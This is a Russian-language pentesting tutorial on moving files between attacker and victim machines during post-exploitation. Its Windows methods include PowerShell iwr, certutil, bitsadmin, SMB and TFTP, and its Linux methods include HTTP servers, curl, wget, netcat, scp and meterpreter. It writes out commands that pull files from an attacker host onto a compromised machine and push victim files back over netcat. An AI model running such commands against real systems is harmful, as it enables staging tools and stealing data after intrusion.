Найти в Дзене

Руководство по передаче файлов на Linux и Windows

Оглавление

В этой статье пойдет речь о нескольких методах передачи файлов на Linux и Windows. Процесс является важным компонентом пост-эксплуатации, которую осуществляет пентестер.

Введение

Руководство по передаче файлов ориентировано на выполнение практики «Red teaming» и тестирования на проникновение, а также будет полезным при использовании в CTF. Стоит взглянуть на компоненты, которые понадобятся пентестеру во время работы.

Передача файлов на Windows

-2

Необходимые компоненты

  • Машина пентестера: Kali Linux
  • Машина жертвы: Windows
  • Файл для передачи: Putty.exe

IWR (Invoke-Web Request)

Машина пентестера : Пользователь переходит в локальный каталог, из которого он собирается загрузить файл на машину жертвы. Команда Python, которую можно выполнить на сервере «SimpleHTTPS » на порту 80, мгновенно создает и запускает веб-сервер для доступа и передачи файлов в текущем рабочем каталоге. Это один из самых простых способов передачи файлов.

python -m SimpleHTTPServer 80

-3

Машина жертвы : Нужно открыть новую вкладку на терминале в Kali. Поскольку пользователь уже использовал машину жертвы, следует использовать Netcat для получения входящего соединения от машины пентестера. Как только это будет сделано, необходимо выполнить команду PowerShell на машине жертвы, чтобы загрузить файл с машины пентестера в заданный каталог. При проверке временного каталога пользователь может увидеть файл «putty.exe », который был успешно доставлен.

Примечание : «iwr» расшифровывается как «Invoke-Web Request» и является частью утилиты Microsoft PowerShell .

nc -lvp 4444
powershell.exe -command iwr -Uri http://192.168.1.2/putty.exe -OutFile C:\Temp\putty.exe "
dir

-4

Бывают случаи, когда пользователь хочет использовать сокращенные команды. Поэтому вместо «-outfile » он будет вводить только «-o », чтобы указать путь назначения данных (как показано ниже). Читатели могут заметить, что с помощью этой команды человек также успешно отправляет файл «putty.exe » с его компьютера.

powershell.exe iwr -uri 192.168.1.2/putty.exe -o C:\Temp\putty.exe

-5

Есть еще один способ использовать ту же команду и сократить ее до минимального размера. Итак, нужно запустить PowerShell на машине жертвы и ввести комбинацию букв и знаков, как показано на рисунке ниже.

powershell
iwr -uri 192.168.1.2/putty.exe -o C:\Temp\putty.exe
dir

-6

Certutil

Изначально Certutil предназначался для управления сертификатами и CA, но он также может быть использован для передачи файлов.

Машина пентестера : Пользователь может использовать тот же сервер «SimpleHTTP » на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы : Следует использовать следующую команду для загрузки файла с машины пентестера. В команде человек упомянул IP-адрес файла и имя нужного файла. «- помогает произвести перезапись данных.

certutil -urlcache -f http://192.168.1.2/putty.exe putty.exe

-7

Та же команда может быть выполнена с дополнительным разделением символов, чтобы указать на встроенные элементы ASN.1, а затем сохранить все на машину жертвы.

certutil -urlcache -split -f http://192.168.1.2/putty.exe putty.exe

-8

Bitsadmin

Машина жертвы : Команда «/transfer» в Bitsadmin – это один из самых простых способов передачи файлов с машины пентестера. Сначала нужно определить отображаемое имя передачи. В данном примере оно будет называться «job». После определения имени следует указать путь к файлу для загрузки, т.е. «putty.exe» в машине пентестера. В результате пользователь вводит имя файла для загрузки и путь назначения.

bitsadmin /transfer job https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\Temp\putty.exe

-9

Curl

Curl – это инструмент командной строки Linux, который используется для обмена данными с одного сервера на другой. Теперь он также доступен в «cmd» Windows.

Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы: На машине жертвы нужно выполнить следующую команду, чтобы загрузить файл с машины пентестера:

curl http://192.168.1.2/putty.exe -o putty.exe
dir

-10

Wget

Его задача состоит в том, чтобы извлекать контент с доступных веб-серверов. Человек загрузит файл на сервер с помощью PowerShell.

Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.

Машина жертвы : Нужно открыть Powershell на машине Windows и выполнить следующую команду. Пользователь указывает путь для загрузки файла и папку назначения для передачи файла «putty.exe».

powershell
wget http://192.168.1.2/putty.exe -OutFile putty.exe
dir

-11

Человек может использовать одну и ту же команду по-разному. Он применяет PowerShell .

powershell.exe wget http://192.168.1.2/putty.exe -OutFile putty.exe

-12

Powershell

У пользователя есть команда для доступа к Shell Windows, которую он может использовать для загрузки любого файла с веб-сервера. Следует ввести приведенную ниже команду в Powershell машины жертвы от имени администратора.

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.2/putty.exe', 'putty.exe')

-13

SMB Server

SMB – это протокол, предназначенный для установления связи, чтобы обеспечить общий доступ к файлам, портам и т.д. Нужно понять, как пользователь может использовать его для передачи файла с его машины на машину жертвы.

Impacket-Smbserver

Машина пентестера : На атакующей машине пользователь переходит в каталог, из которого должен быть передан файл. Затем нужно воспользоваться командой «Impacket-smbserver », чтобы поделиться этим файлом с локальной машины. Значение общего ресурса здесь заключается в том, что он преобразует длинный путь файла в один общий каталог. Одна и та же команда «I mpacket» может выполняться двумя способами.

Примечание : «Impacket » обеспечивает низкоуровневый программный доступ к некоторым пакетам для определенных протоколов в сети.

В приведенной ниже команде видно, что пользователь будет совместно использовать файл из каталога. Однако вместо упоминания всего пути он пишет «pwd », что означает текущий рабочий каталог.

impacket-smbserver share $(pwd) -smb2support

-14

Эту команду можно использовать по-разному. Единственное различие заключается в том, что пользователь упоминает текущий каталог, как показано на рисунке ниже.

impacket-smbserver share /root/Downloads/test -smb2support

-15

Машина жертвы: На машине жертвы для загрузки файла с машины пентестера можно воспользоваться командой «copy ».

copy \\192.168.1.2\share\putty.exe
dir

-16

Человек также может использовать команду «net use » для подключения к общей папке. Затем следует ввести команду «copy », чтобы загрузить файл с компьютера пентестера. Файл «putty.exe» успешно был доставлен в систему жертвы.

net use \\192.168.1.2\share
net use
copy \\192.168.1.2\share\putty.exe
dir

-17

Примечание : Если пентестер использует другую операционную систему, где «Impacket » не установлен по умолчанию, то можно применить следующий метод, вручную установив «Impacket smb-server » из Github .

Машина пентестера : На атакующей машине пользователь переходит в каталог, из которого должен быть передан файл.

-18

python3 smbserver.py share /root/test -smb2support

-19

Машина жертвы: На машине жертвы для загрузки файла с машины пентестера также можно воспользоваться командой «copy ».

copy \\192.168.1.2\share\putty.exe
dir

-20

TFTP

Служба TFTP используется для чтения и записи файлов из удаленного соединения, которое функционирует на порту 69 путем настройки UDP.

Машина пентестера : На атакующей машине нужно создать каталог и файл с именем «file.txt ».

-21

Теперь пользователь откроет Metasploit и использует существующий модуль TFTP для обмена файлами. Нужно ввести IP-адрес машины пентестера, а также путь к каталогу для загрузки файла и эксплойта.

-22

Машина жертвы : На машине жертвы для загрузки файла с машины пентестера используется команда «TFTP ». Файл «putty.exe» успешно был доставлен.

tftp -i 192.168.1.2 GET file.txt

-23

FTP

FTP расшифровывается как File Transfer Protocol («протокол передачи файлов»). Его задача заключается в совместном использовании файлов между системами. С помощью FTP пользователь может загрузить файл в систему Windows жертвы, введя правильное имя пользователя и пароль, как показано ниже. Он также может использовать команду «get », если есть два файла, чтобы выбрать необходимый ему файл.

ftp 192.168.1.5
get file.txt
dir

-24

Передача файлов на Linux

HTTP

Это один из самых популярных способов передачи файлов. Стоит рассмотреть различные методы использования HTTP в этих целях.

PHP Web-Server

Машина пентестера : Команда «PHP» используется для запуска HTTP-листенера для получения общего доступа к файлам, перейдя в каталог, где находится файл.

php -S 0.0.0.0:8080

-25

Машина жертвы : В веб-браузере машины жертвы нужно указать IP-адрес пентестера с номером порта и именем файла, чтобы загрузить его.

192.168.1.6:8080/putty.exe

-26

Apache

Машина пентестера: Служба Apache должна быть активирована на компьютере перед передачей файла через веб-каталоги. Затем нужно переместить любой файл в каталог HTML, чтобы поделиться им. После этого пользователь перезапускает Apache.

cp putty.exe /var/www/html
service apache2 restart

-27

Машина жертвы: В веб-браузере машины жертвы нужно указать IP-адрес пентестера с номером порта и именем файла, чтобы загрузить его.

192.168.1.6/putty.exe

-28

Сервер Simple HTTP

Машина пентестера : Пользователь перейдет в локальный каталог, из которого он собирается загрузить файл на машину жертвы. Команда Python, выполняемая на сервере «SimpleHTTP» на порту 8000, мгновенно создает и запускает веб-сервер для доступа и передачи файлов в текущем рабочем каталоге.

python -m SimpleHTTPServer

-29

Если у человека установлена более новая версия Python, он также может использовать команду, как показано на рисунке ниже.

python3 -m http.server 8000

-30

Машина жертвы : В веб-браузере жертвы нужно указать IP-адрес машины пентестера и номер порта, чтобы перечислить содержимое каталога для загрузки файла.

-31

Curl

Это инструмент командной строки, который используется для передачи данных. Он также применяется для загрузки файлов с машины пентестера.

Машина жертвы : Пользователь выполнит следующую команду, чтобы загрузить файл на машину жертвы.

curl -O http://192.168.1.6/putty.exe

-32

Wget

Это инструмент командной строки Linux, который используется для загрузки файла с компьютера пентестера.

Машина жертвы : Пользователь выполнит следующую команду, чтобы загрузить файл на машину жертвы.

wget 192.168.1.6/putty.exe

-33

Netcat

Netcat известен как «швейцарский нож». Он используется в нескольких целях. Пользователь будет применять его для передачи файлов.

Машина пентестера : Пользователь использует следующую команду для загрузки файла.

nc -lvp 5555 > file.txt

-34

Машина жертвы: На машине жертвы нужно ввести данную команду.

nc 192.168.1.6 5555 < file.txt

Теперь пользователь может скачать файл, чтобы просмотреть его содержимое.

-35

SCP

SCP расшифровывается как Secure Copy Protocol . Он предназначен для безопасной передачи файлов между локальным и удаленным хостом. Основан на протоколе SSH.

Машина пентестера : Пользователь создал новый файл «file.txt», затем перенес его на удаленную машину с помощью следующей команды:

scp file.txt kali@192.168.1.6:/tmp

-36

Машина жертвы : На машине жертвы пользователь переходит в каталог «/temp » и использует команду «cat » для чтения файла.

-37

SMB-Client

Машина пентестера : Служба «smbclient» может использоваться для получения доступа к общей папке smb-сервера. Следует выполнить приведенную ниже команду, чтобы просмотреть эту папку.

Машина жертвы: Пользователь проверит файл в общем каталоге. Он может загрузить его с помощью команды «get » и прочитать его содержимое с помощью команды «cat ».

smbclient -L 192.168.1.21 -U raj%123
smbclient //192.168.1.21/share -U raj%123

-38

Meterpreter

Машина пентестера: При компрометации машины жертвы с помощью Meterpreter пользователь может выполнить следующую команду для загрузки файла с его компьютера.

meterpreter> download file.txt /root/Desktop/

-39

FTP

Машина пентестера: Нужно установить Python-FTP-библиотеку с помощью команды «pip ». Затем человек вводит команду «python », чтобы поделиться файлом с помощью FTP. Нужно установить для него имя пользователя и пароль.

Примечание: В данном случае «p » в нижнем регистре означает номер порта, а «Р » в верхнем регистре – пароль.

pip install pyftpdlib
python3 -m pyftpdlib -p 21 -u jeenali -P 123

-40

Машина жертвы : На машине жертвы человек использует команду FTP с IP-адресом его компьютера, вводит имя пользователя и пароль. С помощью команды «get » он может отправить файл.

ftp 192.168.1.5

-41

Человек также имеет возможность загрузить файл на машину жертвы из браузера, введя имя пользователя и пароль.

ftp 192.168.1.5

-42

Здесь читатели могут увидеть каталог, указанный в списке, и файл, который готов к загрузке.

ftp 192.168.1.5

-43

Автор переведенной статьи: Jeenali Kothari.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

ЧИТАТЬ ВСЕ СТАТЬИ НА САЙТЕ | ПОДПИСЫВАЙТЕСЬ НА НАШ TELEGRAM КАНАЛ